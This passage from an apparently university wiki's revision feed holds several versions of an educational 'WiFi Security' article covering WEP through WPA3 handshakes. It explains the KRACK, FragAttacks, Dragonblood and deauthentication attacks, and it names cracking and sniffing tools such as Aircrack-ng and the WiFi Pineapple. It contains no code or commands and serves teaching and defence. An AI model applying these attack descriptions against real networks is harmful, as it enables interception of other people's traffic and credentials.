5th International Conference on Computing Methodologies and Commu-&lt;br /&gt;
nication (ICCMC), pages 23–30, 2021&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]&lt;br /&gt;
&lt;br /&gt;
=== Driftnet ===&lt;br /&gt;
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet&#039;s capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.&lt;br /&gt;
&amp;lt;ref&amp;gt;deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WiFi Pineapple Nano ===&lt;br /&gt;
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.&lt;br /&gt;
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.&lt;br /&gt;
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.krackattacks.com/&lt;br /&gt;
* https://www.fragattacks.com/&lt;br /&gt;
* https://wpa3.mathyvanhoef.com/&lt;br /&gt;
* https://ieeexplore.ieee.org/document/523485&lt;br /&gt;
* https://github.com/deiv/driftnet&lt;br /&gt;
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16776</id>
		<title>WiFi Security</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16776"/>
		<updated>2024-12-07T15:46:00Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* Versions */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.&lt;br /&gt;
&lt;br /&gt;
== Basics ==&lt;br /&gt;
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.&lt;br /&gt;
&lt;br /&gt;
In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.&amp;lt;ref&amp;gt; https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.&lt;br /&gt;
&lt;br /&gt;
==Versions==&lt;br /&gt;
===WEP===&lt;br /&gt;
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;gt;{{Cite conference&lt;br /&gt;
| last1 = Lashkari&lt;br /&gt;
| first1 = Arash Habibi&lt;br /&gt;
| last2 = Danesh&lt;br /&gt;
| first2 = Mir Mohammad Seyed&lt;br /&gt;
| last3 = Samadi&lt;br /&gt;
| first3 = Behrang&lt;br /&gt;
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)&lt;br /&gt;
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology&lt;br /&gt;
| year = 2009&lt;br /&gt;
| pages = 48–52&lt;br /&gt;
| doi = 10.1109/ICCSIT.2009.5234856&lt;br /&gt;
| url = https://ieeexplore.ieee.org/document/5234856&lt;br /&gt;
}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===WPA===&lt;br /&gt;
&lt;br /&gt;
WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn&#039;t be upgraded to support WPA due to extensive required changes. WPA&#039;s major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP&#039;s vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. &amp;lt;ref&amp;gt;Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-&lt;br /&gt;
havior of wpa with modification. In 2015 International Conference on&lt;br /&gt;
Communication Networks (ICCN), pages 53–56, 2015.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA offers two modes of operation:&lt;br /&gt;
&lt;br /&gt;
* Personal WPA or WPA-PSK (Pre-Shared Key):&lt;br /&gt;
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it&#039;s only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enterprise-WPA or Commercial (802.1X): &lt;br /&gt;
Used in commercial or enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users&#039; traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA&#039;s TKIP allows a more advanced encryption. Instead of a pre-shared key, you will need a RADIUS server to authenticate yourself. With this sever it&#039;s possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2 ===&lt;br /&gt;
&lt;br /&gt;
[[File:4way.png|500px|thumb|right|4 Way Handshake]]&lt;br /&gt;
&lt;br /&gt;
WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a &amp;quot;Pairwise Master Key&amp;quot; (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:&lt;br /&gt;
&lt;br /&gt;
# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.&lt;br /&gt;
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.&lt;br /&gt;
# The AP sends the group temporal key (GTK) to the client.&lt;br /&gt;
# The client confirms that the GTK was received.&lt;br /&gt;
&lt;br /&gt;
After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.&lt;br /&gt;
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.&lt;br /&gt;
&lt;br /&gt;
After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).&lt;br /&gt;
&lt;br /&gt;
For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. &amp;lt;ref&amp;gt;Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA2 like WPA supports two modes of security. Like in WPA there are.&lt;br /&gt;
&lt;br /&gt;
*WPA2-Personal or WPA2-PSK (Pre-Shared-Key)&lt;br /&gt;
Every Supplicant (Client) and Authenticator (Access Point) are manually configured, to use the same secret, which can be up to 64 ASCII characters. There is also the possibility, to set a 256 bit randomly generated number, but this option is difficult to enter manually into client configurations. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
*WPA2-Enterprise (802.1X)&lt;br /&gt;
This is the also called &amp;quot;corporate&amp;quot; security mode. It is based on the EAP authentication framework, which includes RADIUS, uses several EAP types (such as EAP-TLS) this provides a much stronger authentication system and a secure key distribution. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA3 ===&lt;br /&gt;
&lt;br /&gt;
[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]&lt;br /&gt;
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it&#039;s available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it&#039;s much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.&lt;br /&gt;
&lt;br /&gt;
The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client-&amp;gt;AP and AP-&amp;gt;client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.&lt;br /&gt;
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Frame Aggregation and Fragmentation ===&lt;br /&gt;
&lt;br /&gt;
[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]&lt;br /&gt;
&lt;br /&gt;
In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.&lt;br /&gt;
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.&lt;br /&gt;
&lt;br /&gt;
== Attacks ==&lt;br /&gt;
&lt;br /&gt;
=== Disassociation and Denial of Service Attacks ===&lt;br /&gt;
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]&lt;br /&gt;
&amp;lt;ref&amp;gt;Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications &amp;amp; Networking Conference (CCNC)&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== KRACK ===&lt;br /&gt;
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.&lt;br /&gt;
&lt;br /&gt;
When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn&#039;t receive it. The client doesn&#039;t know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.&lt;br /&gt;
&lt;br /&gt;
=== FragAttacks ===&lt;br /&gt;
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]&lt;br /&gt;
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.&lt;br /&gt;
&lt;br /&gt;
To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it&#039;s possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.&lt;br /&gt;
&lt;br /&gt;
The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it&#039;s not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.&lt;br /&gt;
&lt;br /&gt;
=== Dragonblood ===&lt;br /&gt;
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.&lt;br /&gt;
&lt;br /&gt;
As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn&#039;t support WPA2.&lt;br /&gt;
&lt;br /&gt;
Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn&#039;t support this curve, it responds with a message stating so, leading to the client select another curve from it&#039;s list. This is repeated until a curve supported by both devices is found. The message that the AP doesn&#039;t support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.&amp;lt;ref&amp;gt;Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
is an open-source suite designed for assessing Wi-Fi network security. It&#039;s capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.&amp;lt;ref&amp;gt; Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3&lt;br /&gt;
security approach measurement through aircrack-ng technique’. In 2021&lt;br /&gt;
5th International Conference on Computing Methodologies and Commu-&lt;br /&gt;
nication (ICCMC), pages 23–30, 2021&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]&lt;br /&gt;
&lt;br /&gt;
=== Driftnet ===&lt;br /&gt;
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet&#039;s capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.&lt;br /&gt;
&amp;lt;ref&amp;gt;deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WiFi Pineapple Nano ===&lt;br /&gt;
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.&lt;br /&gt;
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.&lt;br /&gt;
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.krackattacks.com/&lt;br /&gt;
* https://www.fragattacks.com/&lt;br /&gt;
* https://wpa3.mathyvanhoef.com/&lt;br /&gt;
* https://ieeexplore.ieee.org/document/523485&lt;br /&gt;
* https://github.com/deiv/driftnet&lt;br /&gt;
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>RSchuller</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16775</id>
		<title>WiFi Security</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WiFi_Security&amp;diff=16775"/>
		<updated>2024-12-07T15:39:03Z</updated>

		<summary type="html">&lt;p&gt;RSchuller: /* WPA2 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.&lt;br /&gt;
&lt;br /&gt;
== Basics ==&lt;br /&gt;
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.&lt;br /&gt;
&lt;br /&gt;
In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.&amp;lt;ref&amp;gt; https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.&lt;br /&gt;
&lt;br /&gt;
==Versions==&lt;br /&gt;
===WEP===&lt;br /&gt;
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.&lt;br /&gt;
&amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;gt;{{Cite conference&lt;br /&gt;
| last1 = Lashkari&lt;br /&gt;
| first1 = Arash Habibi&lt;br /&gt;
| last2 = Danesh&lt;br /&gt;
| first2 = Mir Mohammad Seyed&lt;br /&gt;
| last3 = Samadi&lt;br /&gt;
| first3 = Behrang&lt;br /&gt;
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)&lt;br /&gt;
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology&lt;br /&gt;
| year = 2009&lt;br /&gt;
| pages = 48–52&lt;br /&gt;
| doi = 10.1109/ICCSIT.2009.5234856&lt;br /&gt;
| url = https://ieeexplore.ieee.org/document/5234856&lt;br /&gt;
}}&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===WPA===&lt;br /&gt;
&lt;br /&gt;
WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn&#039;t be upgraded to support WPA due to extensive required changes. WPA&#039;s major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP&#039;s vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. &amp;lt;ref&amp;gt;Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-&lt;br /&gt;
havior of wpa with modification. In 2015 International Conference on&lt;br /&gt;
Communication Networks (ICCN), pages 53–56, 2015.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA offers two modes of operation:&lt;br /&gt;
&lt;br /&gt;
* Personal WPA or WPA-PSK (Pre-Shared Key):&lt;br /&gt;
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it&#039;s only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enterprise-WPA or Commercial (802.1X): &lt;br /&gt;
Is used in Commercial or Enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users&#039; traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA&#039;s TKIP allows a more advanced encryption. Instead of a preshared key, you will need a RADIUS server. With this sever it&#039;s possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2 ===&lt;br /&gt;
&lt;br /&gt;
[[File:4way.png|500px|thumb|right|4 Way Handshake]]&lt;br /&gt;
&lt;br /&gt;
WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a &amp;quot;Pairwise Master Key&amp;quot; (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:&lt;br /&gt;
&lt;br /&gt;
# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.&lt;br /&gt;
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.&lt;br /&gt;
# The AP sends the group temporal key (GTK) to the client.&lt;br /&gt;
# The client confirms that the GTK was received.&lt;br /&gt;
&lt;br /&gt;
After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.&lt;br /&gt;
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.&lt;br /&gt;
&lt;br /&gt;
After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).&lt;br /&gt;
&lt;br /&gt;
For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. &amp;lt;ref&amp;gt;Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;WPA2 like WPA supports two modes of security. Like in WPA there are.&lt;br /&gt;
&lt;br /&gt;
*WPA2-Personal or WPA2-PSK (Pre-Shared-Key)&lt;br /&gt;
Every Supplicant (Client) and Authenticator (Access Point) are manually configured, to use the same secret, which can be up to 64 ASCII characters. There is also the possibility, to set a 256 bit randomly generated number, but this option is difficult to enter manually into client configurations. &amp;lt;ref name=&amp;quot;Survey WEP WPA WPA2&amp;quot; /&amp;gt;&lt;br /&gt;
*WPA2-Enterprise (802.1X)&lt;br /&gt;
